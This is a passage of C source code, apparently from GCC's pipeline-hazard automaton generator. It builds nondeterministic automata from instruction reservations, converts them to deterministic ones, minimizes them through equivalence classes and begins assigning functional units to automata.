rm_nothing: return curr_cycle; default: gcc_unreachable (); } } /* This recursive function finishes forming ALT_STATE of AUTOMATON and inserts alt_state into the table. */ static void finish_forming_alt_state (alt_state_t alt_state, automaton_t automaton ATTRIBUTE_UNUSED) { state_t state_in_table; state_t corresponding_state; corresponding_state = alt_state->state; state_in_table = insert_state (corresponding_state); if (state_in_table != corresponding_state) { free_state (corresponding_state); alt_state->state = state_in_table; } } /* The following variable value is current automaton insn for whose reservation the alt states are created. */ static ainsn_t curr_ainsn; /* This recursive function processes `|' in reservation REGEXP for forming alt_states of AUTOMATON. List of the alt states should have the same order as in the description. */ static void process_alts_for_forming_states (regexp_t regexp, automaton_t automaton, int inside_oneof_p) { int i; if (regexp->mode != rm_oneof) { alt_state_being_formed = get_free_alt_state (); state_being_formed = get_free_state (1, automaton); alt_state_being_formed->state = state_being_formed; /* We inserts in reverse order but we process alternatives also in reverse order. So we have the same order of alternative as in the description. */ alt_state_being_formed->next_alt_state = curr_ainsn->alt_states; curr_ainsn->alt_states = alt_state_being_formed; (void) process_seq_for_forming_states (regexp, automaton, 0); finish_forming_alt_state (alt_state_being_formed, automaton); } else { gcc_assert (!inside_oneof_p); /* We processes it in reverse order to get list with the same order as in the description. See also the previous commentary. */ for (i = REGEXP_ONEOF (regexp)->regexps_num - 1; i >= 0; i--) process_alts_for_forming_states (REGEXP_ONEOF (regexp)->regexps [i], automaton, 1); } } /* Create nodes alt_state for all AUTOMATON insns. */ static void create_alt_states (automaton_t automaton) { struct insn_reserv_decl *reserv_decl; for (curr_ainsn = automaton->ainsn_list; curr_ainsn != NULL; curr_ainsn = curr_ainsn->next_ainsn) { reserv_decl = curr_ainsn->insn_reserv_decl; if (reserv_decl != DECL_INSN_RESERV (advance_cycle_insn_decl)) { curr_ainsn->alt_states = NULL; process_alts_for_forming_states (reserv_decl->transformed_regexp, automaton, 0); curr_ainsn->sorted_alt_states = uniq_sort_alt_states (curr_ainsn->alt_states); } } } /* The page contains major code for building DFA(s) for fast pipeline hazards recognition. */ /* The function forms list of ainsns of AUTOMATON with the same reservation. */ static void form_ainsn_with_same_reservs (automaton_t automaton) { ainsn_t curr_ainsn; size_t i; VEC(ainsn_t,heap) *last_insns = VEC_alloc (ainsn_t,heap, 150); for (curr_ainsn = automaton->ainsn_list; curr_ainsn != NULL; curr_ainsn = curr_ainsn->next_ainsn) if (curr_ainsn->insn_reserv_decl == DECL_INSN_RESERV (advance_cycle_insn_decl)) { curr_ainsn->next_same_reservs_insn = NULL; curr_ainsn->first_insn_with_same_reservs = 1; } else { for (i = 0; i < VEC_length (ainsn_t, last_insns); i++) if (alt_states_eq (curr_ainsn->sorted_alt_states, VEC_index (ainsn_t, last_insns, i)->sorted_alt_states)) break; curr_ainsn->next_same_reservs_insn = NULL; if (i < VEC_length (ainsn_t, last_insns)) { curr_ainsn->first_insn_with_same_reservs = 0; VEC_index (ainsn_t, last_insns, i)->next_same_reservs_insn = curr_ainsn; VEC_replace (ainsn_t, last_insns, i, curr_ainsn); } else { VEC_safe_push (ainsn_t, heap, last_insns, curr_ainsn); curr_ainsn->first_insn_with_same_reservs = 1; } } VEC_free (ainsn_t,heap, last_insns); } /* Forming unit reservations which can affect creating the automaton states achieved from a given state. It permits to build smaller automata in many cases. We would have the same automata after the minimization without such optimization, but the automaton right after the building could be huge. So in other words, usage of reservs_matter means some minimization during building the automaton. */ static reserv_sets_t form_reservs_matter (automaton_t automaton) { int cycle, unit; reserv_sets_t reservs_matter = alloc_empty_reserv_sets(); for (cycle = 0; cycle < max_cycles_num; cycle++) for (unit = 0; unit < description->units_num; unit++) if (units_array [unit]->automaton_decl == automaton->corresponding_automaton_decl && (cycle >= units_array [unit]->min_occ_cycle_num /* We can not remove queried unit from reservations. */ || units_array [unit]->query_p /* We can not remove units which are used `exclusion_set', `presence_set', `final_presence_set', `absence_set', and `final_absence_set'. */ || units_array [unit]->in_set_p)) set_unit_reserv (reservs_matter, cycle, unit); return reservs_matter; } /* The following function creates all states of nondeterministic AUTOMATON. */ static void make_automaton (automaton_t automaton) { ainsn_t ainsn; struct insn_reserv_decl *insn_reserv_decl; alt_state_t alt_state; state_t state; state_t start_state; state_t state2; ainsn_t advance_cycle_ainsn; arc_t added_arc; VEC(state_t,heap) *state_stack = VEC_alloc(state_t,heap, 150); int states_n; reserv_sets_t reservs_matter = form_reservs_matter (automaton); /* Create the start state (empty state). */ start_state = insert_state (get_free_state (1, automaton)); automaton->start_state = start_state; start_state->it_was_placed_in_stack_for_NDFA_forming = 1; VEC_safe_push (state_t,heap, state_stack, start_state); states_n = 1; while (VEC_length (state_t, state_stack) != 0) { state = VEC_pop (state_t, state_stack); advance_cycle_ainsn = NULL; for (ainsn = automaton->ainsn_list; ainsn != NULL; ainsn = ainsn->next_ainsn) if (ainsn->first_insn_with_same_reservs) { insn_reserv_decl = ainsn->insn_reserv_decl; if (insn_reserv_decl != DECL_INSN_RESERV (advance_cycle_insn_decl)) { /* We process alt_states in the same order as they are present in the description. */ added_arc = NULL; for (alt_state = ainsn->alt_states; alt_state != NULL; alt_state = alt_state->next_alt_state) { state2 = alt_state->state; if (!intersected_state_reservs_p (state, state2)) { state2 = states_union (state, state2, reservs_matter); if (!state2->it_was_placed_in_stack_for_NDFA_forming) { state2->it_was_placed_in_stack_for_NDFA_forming = 1; VEC_safe_push (state_t,heap, state_stack, state2); states_n++; if (progress_flag && states_n % 100 == 0) fprintf (stderr, "."); } added_arc = add_arc (state, state2, ainsn); if (!ndfa_flag) break; } } if (!ndfa_flag && added_arc != NULL) { for (alt_state = ainsn->alt_states; alt_state != NULL; alt_state = alt_state->next_alt_state) state2 = alt_state->state; } } else advance_cycle_ainsn = ainsn; } /* Add transition to advance cycle. */ state2 = state_shift (state, reservs_matter); if (!state2->it_was_placed_in_stack_for_NDFA_forming) { state2->it_was_placed_in_stack_for_NDFA_forming = 1; VEC_safe_push (state_t,heap, state_stack, state2); states_n++; if (progress_flag && states_n % 100 == 0) fprintf (stderr, "."); } gcc_assert (advance_cycle_ainsn); add_arc (state, state2, advance_cycle_ainsn); } VEC_free (state_t,heap, state_stack); } /* Form lists of all arcs of STATE marked by the same ainsn. */ static void form_arcs_marked_by_insn (state_t state) { decl_t decl; arc_t arc; int i; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv) DECL_INSN_RESERV (decl)->arcs_marked_by_insn = NULL; } for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) { gcc_assert (arc->insn); arc->next_arc_marked_by_insn = arc->insn->insn_reserv_decl->arcs_marked_by_insn; arc->insn->insn_reserv_decl->arcs_marked_by_insn = arc; } } /* The function creates composed state (see comments for IR) from ORIGINAL_STATE and list of arcs ARCS_MARKED_BY_INSN marked by the same insn. If the composed state is not in STATE_STACK yet, it is pushed into STATE_STACK. */ static int create_composed_state (state_t original_state, arc_t arcs_marked_by_insn, VEC(state_t,heap) **state_stack) { state_t state; alt_state_t alt_state, curr_alt_state; alt_state_t new_alt_state; arc_t curr_arc; arc_t next_arc; state_t state_in_table; state_t temp_state; alt_state_t canonical_alt_states_list; int alts_number; int new_state_p = 0; if (arcs_marked_by_insn == NULL) return new_state_p; if (arcs_marked_by_insn->next_arc_marked_by_insn == NULL) state = arcs_marked_by_insn->to_state; else { gcc_assert (ndfa_flag); /* Create composed state. */ state = get_free_state (0, arcs_marked_by_insn->to_state->automaton); curr_alt_state = NULL; for (curr_arc = arcs_marked_by_insn; curr_arc != NULL; curr_arc = curr_arc->next_arc_marked_by_insn) if (curr_arc->to_state->component_states == NULL) { new_alt_state = get_free_alt_state (); new_alt_state->next_alt_state = curr_alt_state; new_alt_state->state = curr_arc->to_state; curr_alt_state = new_alt_state; } else for (alt_state = curr_arc->to_state->component_states; alt_state != NULL; alt_state = alt_state->next_sorted_alt_state) { new_alt_state = get_free_alt_state (); new_alt_state->next_alt_state = curr_alt_state; new_alt_state->state = alt_state->state; gcc_assert (!alt_state->state->component_states); curr_alt_state = new_alt_state; } /* There are not identical sets in the alt state list. */ canonical_alt_states_list = uniq_sort_alt_states (curr_alt_state); if (canonical_alt_states_list->next_sorted_alt_state == NULL) { temp_state = state; state = canonical_alt_states_list->state; free_state (temp_state); } else { state->component_states = canonical_alt_states_list; state_in_table = insert_state (state); if (state_in_table != state) { gcc_assert (state_in_table->it_was_placed_in_stack_for_DFA_forming); free_state (state); state = state_in_table; } else { gcc_assert (!state->it_was_placed_in_stack_for_DFA_forming); new_state_p = 1; for (curr_alt_state = state->component_states; curr_alt_state != NULL; curr_alt_state = curr_alt_state->next_sorted_alt_state) for (curr_arc = first_out_arc (curr_alt_state->state); curr_arc != NULL; curr_arc = next_out_arc (curr_arc)) add_arc (state, curr_arc->to_state, curr_arc->insn); } arcs_marked_by_insn->to_state = state; for (alts_number = 0, curr_arc = arcs_marked_by_insn->next_arc_marked_by_insn; curr_arc != NULL; curr_arc = next_arc) { next_arc = curr_arc->next_arc_marked_by_insn; remove_arc (original_state, curr_arc); alts_number++; } } } if (!state->it_was_placed_in_stack_for_DFA_forming) { state->it_was_placed_in_stack_for_DFA_forming = 1; VEC_safe_push (state_t,heap, *state_stack, state); } return new_state_p; } /* The function transforms nondeterministic AUTOMATON into deterministic. */ static void NDFA_to_DFA (automaton_t automaton) { state_t start_state; state_t state; decl_t decl; VEC(state_t,heap) *state_stack; int i; int states_n; state_stack = VEC_alloc (state_t,heap, 0); /* Create the start state (empty state). */ start_state = automaton->start_state; start_state->it_was_placed_in_stack_for_DFA_forming = 1; VEC_safe_push (state_t,heap, state_stack, start_state); states_n = 1; while (VEC_length (state_t, state_stack) != 0) { state = VEC_pop (state_t, state_stack); form_arcs_marked_by_insn (state); for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv && create_composed_state (state, DECL_INSN_RESERV (decl)->arcs_marked_by_insn, &state_stack)) { states_n++; if (progress_flag && states_n % 100 == 0) fprintf (stderr, "."); } } } VEC_free (state_t,heap, state_stack); } /* The following variable value is current number (1, 2, ...) of passing graph of states. */ static int curr_state_graph_pass_num; /* This recursive function passes all states achieved from START_STATE and applies APPLIED_FUNC to them. */ static void pass_state_graph (state_t start_state, void (*applied_func) (state_t state)) { arc_t arc; if (start_state->pass_num == curr_state_graph_pass_num) return; start_state->pass_num = curr_state_graph_pass_num; (*applied_func) (start_state); for (arc = first_out_arc (start_state); arc != NULL; arc = next_out_arc (arc)) pass_state_graph (arc->to_state, applied_func); } /* This recursive function passes all states of AUTOMATON and applies APPLIED_FUNC to them. */ static void pass_states (automaton_t automaton, void (*applied_func) (state_t state)) { curr_state_graph_pass_num++; pass_state_graph (automaton->start_state, applied_func); } /* The function initializes code for passing of all states. */ static void initiate_pass_states (void) { curr_state_graph_pass_num = 0; } /* The following vla is used for storing pointers to all achieved states. */ static VEC(state_t,heap) *all_achieved_states; /* This function is called by function pass_states to add an achieved STATE. */ static void add_achieved_state (state_t state) { VEC_safe_push (state_t,heap, all_achieved_states, state); } /* The function sets up equivalence numbers of insns which mark all out arcs of STATE by equiv_class_num_1 (if ODD_ITERATION_FLAG has nonzero value) or by equiv_class_num_2 of the destination state. The function returns number of out arcs of STATE. */ static void set_out_arc_insns_equiv_num (state_t state, int odd_iteration_flag) { arc_t arc; for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) { gcc_assert (!arc->insn->insn_reserv_decl->equiv_class_num); arc->insn->insn_reserv_decl->equiv_class_num = (odd_iteration_flag ? arc->to_state->equiv_class_num_1 : arc->to_state->equiv_class_num_2); gcc_assert (arc->insn->insn_reserv_decl->equiv_class_num); } } /* The function clears equivalence numbers and alt_states in all insns which mark all out arcs of STATE. */ static void clear_arc_insns_equiv_num (state_t state) { arc_t arc; for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) arc->insn->insn_reserv_decl->equiv_class_num = 0; } /* The following function returns TRUE if STATE reserves the unit with UNIT_NUM on the first cycle. */ static int first_cycle_unit_presence (state_t state, int unit_num) { alt_state_t alt_state; if (state->component_states == NULL) return test_unit_reserv (state->reservs, 0, unit_num); else { for (alt_state = state->component_states; alt_state != NULL; alt_state = alt_state->next_sorted_alt_state) if (test_unit_reserv (alt_state->state->reservs, 0, unit_num)) return true; } return false; } /* This fills in the presence_signature[] member of STATE. */ static void cache_presence (state_t state) { int i, num = 0; unsigned int sz; sz = (description->query_units_num + sizeof (int) * CHAR_BIT - 1) / (sizeof (int) * CHAR_BIT); state->presence_signature = XCREATENODEVEC (unsigned int, sz); for (i = 0; i < description->units_num; i++) if (units_array [i]->query_p) { int presence1_p = first_cycle_unit_presence (state, i); state->presence_signature[num / (sizeof (int) * CHAR_BIT)] |= (!!presence1_p) << (num % (sizeof (int) * CHAR_BIT)); num++; } } /* The function returns nonzero value if STATE is not equivalent to ANOTHER_STATE from the same current partition on equivalence classes. Another state has ANOTHER_STATE_OUT_ARCS_NUM number of output arcs. Iteration of making equivalence partition is defined by ODD_ITERATION_FLAG. */ static int state_is_differed (state_t state, state_t another_state, int odd_iteration_flag) { arc_t arc; unsigned int sz, si; gcc_assert (state->num_out_arcs == another_state->num_out_arcs); sz = (description->query_units_num + sizeof (int) * CHAR_BIT - 1) / (sizeof (int) * CHAR_BIT); for (si = 0; si < sz; si++) gcc_assert (state->presence_signature[si] == another_state->presence_signature[si]); for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) { if ((odd_iteration_flag ? arc->to_state->equiv_class_num_1 : arc->to_state->equiv_class_num_2) != arc->insn->insn_reserv_decl->equiv_class_num) return 1; } return 0; } /* Compares two states pointed to by STATE_PTR_1 and STATE_PTR_2 and return -1, 0 or 1. This function can be used as predicate for qsort(). It requires the member presence_signature[] of both states be filled. */ static int compare_states_for_equiv (const void *state_ptr_1, const void *state_ptr_2) { const_state_t const s1 = *(const_state_t const*)state_ptr_1; const_state_t const s2 = *(const_state_t const*)state_ptr_2; unsigned int sz, si; if (s1->num_out_arcs < s2->num_out_arcs) return -1; else if (s1->num_out_arcs > s2->num_out_arcs) return 1; sz = (description->query_units_num + sizeof (int) * CHAR_BIT - 1) / (sizeof (int) * CHAR_BIT); for (si = 0; si < sz; si++) if (s1->presence_signature[si] < s2->presence_signature[si]) return -1; else if (s1->presence_signature[si] > s2->presence_signature[si]) return 1; return 0; } /* The function makes initial partition of STATES on equivalent classes and saves it into *CLASSES. This function requires the input to be sorted via compare_states_for_equiv(). */ static int init_equiv_class (VEC(state_t,heap) *states, VEC (state_t,heap) **classes) { size_t i; state_t prev = 0; int class_num = 1; *classes = VEC_alloc (state_t,heap, 150); for (i = 0; i < VEC_length (state_t, states); i++) { state_t state = VEC_index (state_t, states, i); if (prev) { if (compare_states_for_equiv (&prev, &state) != 0) { VEC_safe_push (state_t,heap, *classes, prev); class_num++; prev = NULL; } } state->equiv_class_num_1 = class_num; state->next_equiv_class_state = prev; prev = state; } if (prev) VEC_safe_push (state_t,heap, *classes, prev); return class_num; } /* The function copies pointers to equivalent states from vla FROM into vla TO. */ static void copy_equiv_class (VEC(state_t,heap) **to, VEC(state_t,heap) *from) { VEC_free (state_t,heap, *to); *to = VEC_copy (state_t,heap, from); } /* The function processes equivalence class given by its first state, FIRST_STATE, on odd iteration if ODD_ITERATION_FLAG. If there are not equivalent states, the function partitions the class removing nonequivalent states and placing them in *NEXT_ITERATION_CLASSES, increments *NEW_EQUIV_CLASS_NUM_PTR ans assigns it to the state equivalence number. If the class has been partitioned, the function returns nonzero value. */ static int partition_equiv_class (state_t first_state, int odd_iteration_flag, VEC(state_t,heap) **next_iteration_classes, int *new_equiv_class_num_ptr) { state_t new_equiv_class; int partition_p; state_t curr_state; state_t prev_state; state_t next_state; partition_p = 0; while (first_state != NULL) { new_equiv_class = NULL; if (first_state->next_equiv_class_state != NULL) { /* There are more one states in the class equivalence. */ set_out_arc_insns_equiv_num (first_state, odd_iteration_flag); for (prev_state = first_state, curr_state = first_state->next_equiv_class_state; curr_state != NULL; curr_state = next_state) { next_state = curr_state->next_equiv_class_state; if (state_is_differed (curr_state, first_state, odd_iteration_flag)) { /* Remove curr state from the class equivalence. */ prev_state->next_equiv_class_state = next_state; /* Add curr state to the new class equivalence. */ curr_state->next_equiv_class_state = new_equiv_class; if (new_equiv_class == NULL) (*new_equiv_class_num_ptr)++; if (odd_iteration_flag) curr_state->equiv_class_num_2 = *new_equiv_class_num_ptr; else curr_state->equiv_class_num_1 = *new_equiv_class_num_ptr; new_equiv_class = curr_state; partition_p = 1; } else prev_state = curr_state; } clear_arc_insns_equiv_num (first_state); } if (new_equiv_class != NULL) VEC_safe_push (state_t,heap, *next_iteration_classes, new_equiv_class); first_state = new_equiv_class; } return partition_p; } /* The function finds equivalent states of AUTOMATON. */ static void evaluate_equiv_classes (automaton_t automaton, VEC(state_t,heap) **equiv_classes) { int new_equiv_class_num; int odd_iteration_flag; int finish_flag; VEC (state_t,heap) *next_iteration_classes; size_t i; all_achieved_states = VEC_alloc (state_t,heap, 1500); pass_states (automaton, add_achieved_state); pass_states (automaton, cache_presence); qsort (VEC_address (state_t, all_achieved_states), VEC_length (state_t, all_achieved_states), sizeof (state_t), compare_states_for_equiv); odd_iteration_flag = 0; new_equiv_class_num = init_equiv_class (all_achieved_states, &next_iteration_classes); do { odd_iteration_flag = !odd_iteration_flag; finish_flag = 1; copy_equiv_class (equiv_classes, next_iteration_classes); /* Transfer equiv numbers for the next iteration. */ for (i = 0; i < VEC_length (state_t, all_achieved_states); i++) if (odd_iteration_flag) VEC_index (state_t, all_achieved_states, i)->equiv_class_num_2 = VEC_index (state_t, all_achieved_states, i)->equiv_class_num_1; else VEC_index (state_t, all_achieved_states, i)->equiv_class_num_1 = VEC_index (state_t, all_achieved_states, i)->equiv_class_num_2; for (i = 0; i < VEC_length (state_t, *equiv_classes); i++) if (partition_equiv_class (VEC_index (state_t, *equiv_classes, i), odd_iteration_flag, &next_iteration_classes, &new_equiv_class_num)) finish_flag = 0; } while (!finish_flag); VEC_free (state_t,heap, next_iteration_classes); VEC_free (state_t,heap, all_achieved_states); } /* The function merges equivalent states of AUTOMATON. */ static void merge_states (automaton_t automaton, VEC(state_t,heap) *equiv_classes) { state_t curr_state; state_t new_state; state_t first_class_state; alt_state_t alt_states; alt_state_t alt_state, new_alt_state; arc_t curr_arc; arc_t next_arc; size_t i; /* Create states corresponding to equivalence classes containing two or more states. */ for (i = 0; i < VEC_length (state_t, equiv_classes); i++) { curr_state = VEC_index (state_t, equiv_classes, i); if (curr_state->next_equiv_class_state != NULL) { /* There are more one states in the class equivalence. */ /* Create new compound state. */ new_state = get_free_state (0, automaton); alt_states = NULL; first_class_state = curr_state; for (curr_state = first_class_state; curr_state != NULL; curr_state = curr_state->next_equiv_class_state) { curr_state->equiv_class_state = new_state; if (curr_state->component_states == NULL) { new_alt_state = get_free_alt_state (); new_alt_state->state = curr_state; new_alt_state->next_alt_state = alt_states; alt_states = new_alt_state; } else for (alt_state = curr_state->component_states; alt_state != NULL; alt_state = alt_state->next_sorted_alt_state) { new_alt_state = get_free_alt_state (); new_alt_state->state = alt_state->state; new_alt_state->next_alt_state = alt_states; alt_states = new_alt_state; } } /* Its is important that alt states were sorted before and after merging to have the same querying results. */ new_state->component_states = uniq_sort_alt_states (alt_states); } else curr_state->equiv_class_state = curr_state; } for (i = 0; i < VEC_length (state_t, equiv_classes); i++) { curr_state = VEC_index (state_t, equiv_classes, i); if (curr_state->next_equiv_class_state != NULL) { first_class_state = curr_state; /* Create new arcs output from the state corresponding to equiv class. */ for (curr_arc = first_out_arc (first_class_state); curr_arc != NULL; curr_arc = next_out_arc (curr_arc)) add_arc (first_class_state->equiv_class_state, curr_arc->to_state->equiv_class_state, curr_arc->insn); /* Delete output arcs from states of given class equivalence. */ for (curr_state = first_class_state; curr_state != NULL; curr_state = curr_state->next_equiv_class_state) { if (automaton->start_state == curr_state) automaton->start_state = curr_state->equiv_class_state; /* Delete the state and its output arcs. */ for (curr_arc = first_out_arc (curr_state); curr_arc != NULL; curr_arc = next_arc) { next_arc = next_out_arc (curr_arc); free_arc (curr_arc); } } } else { /* Change `to_state' of arcs output from the state of given equivalence class. */ for (curr_arc = first_out_arc (curr_state); curr_arc != NULL; curr_arc = next_out_arc (curr_arc)) curr_arc->to_state = curr_arc->to_state->equiv_class_state; } } } /* The function sets up new_cycle_p for states if there is arc to the state marked by advance_cycle_insn_decl. */ static void set_new_cycle_flags (state_t state) { arc_t arc; for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) if (arc->insn->insn_reserv_decl == DECL_INSN_RESERV (advance_cycle_insn_decl)) arc->to_state->new_cycle_p = 1; } /* The top level function for minimization of deterministic AUTOMATON. */ static void minimize_DFA (automaton_t automaton) { VEC(state_t,heap) *equiv_classes = 0; evaluate_equiv_classes (automaton, &equiv_classes); merge_states (automaton, equiv_classes); pass_states (automaton, set_new_cycle_flags); VEC_free (state_t,heap, equiv_classes); } /* Values of two variables are counted number of states and arcs in an automaton. */ static int curr_counted_states_num; static int curr_counted_arcs_num; /* The function is called by function `pass_states' to count states and arcs of an automaton. */ static void incr_states_and_arcs_nums (state_t state) { arc_t arc; curr_counted_states_num++; for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) curr_counted_arcs_num++; } /* The function counts states and arcs of AUTOMATON. */ static void count_states_and_arcs (automaton_t automaton, int *states_num, int *arcs_num) { curr_counted_states_num = 0; curr_counted_arcs_num = 0; pass_states (automaton, incr_states_and_arcs_nums); *states_num = curr_counted_states_num; *arcs_num = curr_counted_arcs_num; } /* The function builds one DFA AUTOMATON for fast pipeline hazards recognition after checking and simplifying IR of the description. */ static void build_automaton (automaton_t automaton) { int states_num; int arcs_num; ticker_on (&NDFA_time); if (progress_flag) { if (automaton->corresponding_automaton_decl == NULL) fprintf (stderr, "Create anonymous automaton"); else fprintf (stderr, "Create automaton `%s'", automaton->corresponding_automaton_decl->name); fprintf (stderr, " (1 dot is 100 new states):"); } make_automaton (automaton); if (progress_flag) fprintf (stderr, " done\n"); ticker_off (&NDFA_time); count_states_and_arcs (automaton, &states_num, &arcs_num); automaton->NDFA_states_num = states_num; automaton->NDFA_arcs_num = arcs_num; ticker_on (&NDFA_to_DFA_time); if (progress_flag) { if (automaton->corresponding_automaton_decl == NULL) fprintf (stderr, "Make anonymous DFA"); else fprintf (stderr, "Make DFA `%s'", automaton->corresponding_automaton_decl->name); fprintf (stderr, " (1 dot is 100 new states):"); } NDFA_to_DFA (automaton); if (progress_flag) fprintf (stderr, " done\n"); ticker_off (&NDFA_to_DFA_time); count_states_and_arcs (automaton, &states_num, &arcs_num); automaton->DFA_states_num = states_num; automaton->DFA_arcs_num = arcs_num; if (!no_minimization_flag) { ticker_on (&minimize_time); if (progress_flag) { if (automaton->corresponding_automaton_decl == NULL) fprintf (stderr, "Minimize anonymous DFA..."); else fprintf (stderr, "Minimize DFA `%s'...", automaton->corresponding_automaton_decl->name); } minimize_DFA (automaton); if (progress_flag) fprintf (stderr, "done\n"); ticker_off (&minimize_time); count_states_and_arcs (automaton, &states_num, &arcs_num); automaton->minimal_DFA_states_num = states_num; automaton->minimal_DFA_arcs_num = arcs_num; } } /* The page contains code for enumeration of all states of an automaton. */ /* Variable used for enumeration of all states of an automaton. Its value is current number of automaton states. */ static int curr_state_order_num; /* The function is called by function `pass_states' for enumerating states. */ static void set_order_state_num (state_t state) { state->order_state_num = curr_state_order_num; curr_state_order_num++; } /* The function enumerates all states of AUTOMATON. */ static void enumerate_states (automaton_t automaton) { curr_state_order_num = 0; pass_states (automaton, set_order_state_num); automaton->achieved_states_num = curr_state_order_num; } /* The page contains code for finding equivalent automaton insns (ainsns). */ /* The function inserts AINSN into cyclic list CYCLIC_EQUIV_CLASS_INSN_LIST of ainsns. */ static ainsn_t insert_ainsn_into_equiv_class (ainsn_t ainsn, ainsn_t cyclic_equiv_class_insn_list) { if (cyclic_equiv_class_insn_list == NULL) ainsn->next_equiv_class_insn = ainsn; else { ainsn->next_equiv_class_insn = cyclic_equiv_class_insn_list->next_equiv_class_insn; cyclic_equiv_class_insn_list->next_equiv_class_insn = ainsn; } return ainsn; } /* The function deletes equiv_class_insn into cyclic list of equivalent ainsns. */ static void delete_ainsn_from_equiv_class (ainsn_t equiv_class_insn) { ainsn_t curr_equiv_class_insn; ainsn_t prev_equiv_class_insn; prev_equiv_class_insn = equiv_class_insn; for (curr_equiv_class_insn = equiv_class_insn->next_equiv_class_insn; curr_equiv_class_insn != equiv_class_insn; curr_equiv_class_insn = curr_equiv_class_insn->next_equiv_class_insn) prev_equiv_class_insn = curr_equiv_class_insn; if (prev_equiv_class_insn != equiv_class_insn) prev_equiv_class_insn->next_equiv_class_insn = equiv_class_insn->next_equiv_class_insn; } /* The function processes AINSN of a state in order to find equivalent ainsns. INSN_ARCS_ARRAY is table: code of insn -> out arc of the state. */ static void process_insn_equiv_class (ainsn_t ainsn, arc_t *insn_arcs_array) { ainsn_t next_insn; ainsn_t curr_insn; ainsn_t cyclic_insn_list; arc_t arc; gcc_assert (insn_arcs_array [ainsn->insn_reserv_decl->insn_num]); curr_insn = ainsn; /* New class of ainsns which are not equivalent to given ainsn. */ cyclic_insn_list = NULL; do { next_insn = curr_insn->next_equiv_class_insn; arc = insn_arcs_array [curr_insn->insn_reserv_decl->insn_num]; if (arc == NULL || (insn_arcs_array [ainsn->insn_reserv_decl->insn_num]->to_state != arc->to_state)) { delete_ainsn_from_equiv_class (curr_insn); cyclic_insn_list = insert_ainsn_into_equiv_class (curr_insn, cyclic_insn_list); } curr_insn = next_insn; } while (curr_insn != ainsn); } /* The function processes STATE in order to find equivalent ainsns. */ static void process_state_for_insn_equiv_partition (state_t state) { arc_t arc; arc_t *insn_arcs_array = XCNEWVEC (arc_t, description->insns_num); /* Process insns of the arcs. */ for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) insn_arcs_array [arc->insn->insn_reserv_decl->insn_num] = arc; for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) process_insn_equiv_class (arc->insn, insn_arcs_array); free (insn_arcs_array); } /* The function searches for equivalent ainsns of AUTOMATON. */ static void set_insn_equiv_classes (automaton_t automaton) { ainsn_t ainsn; ainsn_t first_insn; ainsn_t curr_insn; ainsn_t cyclic_insn_list; ainsn_t insn_with_same_reservs; int equiv_classes_num; /* All insns are included in one equivalence class. */ cyclic_insn_list = NULL; for (ainsn = automaton->ainsn_list; ainsn != NULL; ainsn = ainsn->next_ainsn) if (ainsn->first_insn_with_same_reservs) cyclic_insn_list = insert_ainsn_into_equiv_class (ainsn, cyclic_insn_list); /* Process insns in order to make equivalence partition. */ pass_states (automaton, process_state_for_insn_equiv_partition); /* Enumerate equiv classes. */ for (ainsn = automaton->ainsn_list; ainsn != NULL; ainsn = ainsn->next_ainsn) /* Set undefined value. */ ainsn->insn_equiv_class_num = -1; equiv_classes_num = 0; for (ainsn = automaton->ainsn_list; ainsn != NULL; ainsn = ainsn->next_ainsn) if (ainsn->insn_equiv_class_num < 0) { first_insn = ainsn; gcc_assert (first_insn->first_insn_with_same_reservs); first_insn->first_ainsn_with_given_equivalence_num = 1; curr_insn = first_insn; do { for (insn_with_same_reservs = curr_insn; insn_with_same_reservs != NULL; insn_with_same_reservs = insn_with_same_reservs->next_same_reservs_insn) insn_with_same_reservs->insn_equiv_class_num = equiv_classes_num; curr_insn = curr_insn->next_equiv_class_insn; } while (curr_insn != first_insn); equiv_classes_num++; } automaton->insn_equiv_classes_num = equiv_classes_num; } /* This page contains code for creating DFA(s) and calls functions building them. */ /* The following value is used to prevent floating point overflow for estimating an automaton bound. The value should be less DBL_MAX on the host machine. We use here approximate minimum of maximal double floating point value required by ANSI C standard. It will work for non ANSI sun compiler too. */ #define MAX_FLOATING_POINT_VALUE_FOR_AUTOMATON_BOUND 1.0E37 /* The function estimate size of the single DFA used by PHR (pipeline hazards recognizer). */ static double estimate_one_automaton_bound (void) { decl_t decl; double one_automaton_estimation_bound; double root_value; int i; one_automaton_estimation_bound = 1.0; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_unit) { root_value = exp (log (DECL_UNIT (decl)->max_occ_cycle_num - DECL_UNIT (decl)->min_occ_cycle_num + 1.0) / automata_num); if (MAX_FLOATING_POINT_VALUE_FOR_AUTOMATON_BOUND / root_value > one_automaton_estimation_bound) one_automaton_estimation_bound *= root_value; } } return one_automaton_estimation_bound; } /* The function compares unit declarations according to their maximal cycle in reservations. */ static int compare_max_occ_cycle_nums (const void *unit_decl_1, const void *unit_decl_2) { if ((DECL_UNIT (*(const_decl_t const*) unit_decl_1)->max_occ_cycle_num) < (DECL_UNIT (*(const_decl_t const*) unit_decl_2)->max_occ_cycle_num)) return 1; else if ((DECL_UNIT (*(const_decl_t const*) unit_decl_1)->max_occ_cycle_num) == (DECL_UNIT (*(const_decl_t const*) unit_decl_2)->max_occ_cycle_num)) return 0; else return -1; } /* The function makes heuristic assigning automata to units. Actually efficacy of the algorithm has been checked yet??? */ static void units_to_automata_heuristic_distr (void) { double estimation_bound; int automaton_num; int rest_units_num; double bound_value; unit_decl_t *unit_decls; int i, j; if (description->units_num == 0) return; estimation_bound = estimate_one_automaton_bound (); unit_decls = XNEWVEC (unit_decl_t, description->units_num); for (i = 0, j = 0; i < description->decls_num; i++) if (description->decls[i]->mode == dm_unit) unit_decls[j++] = DECL_UNIT (description->decls[i]); gcc_assert (j == description->units_num); qsort (unit_decls, description->units_num, sizeof (unit_decl_t), compare_max_occ_cycle_nums); automaton_num = 0; bound_value = unit_decls[0]->max_occ_cycle_num; unit_decls[0]->corresponding_automaton_num = automaton_num; for (i = 1; i < 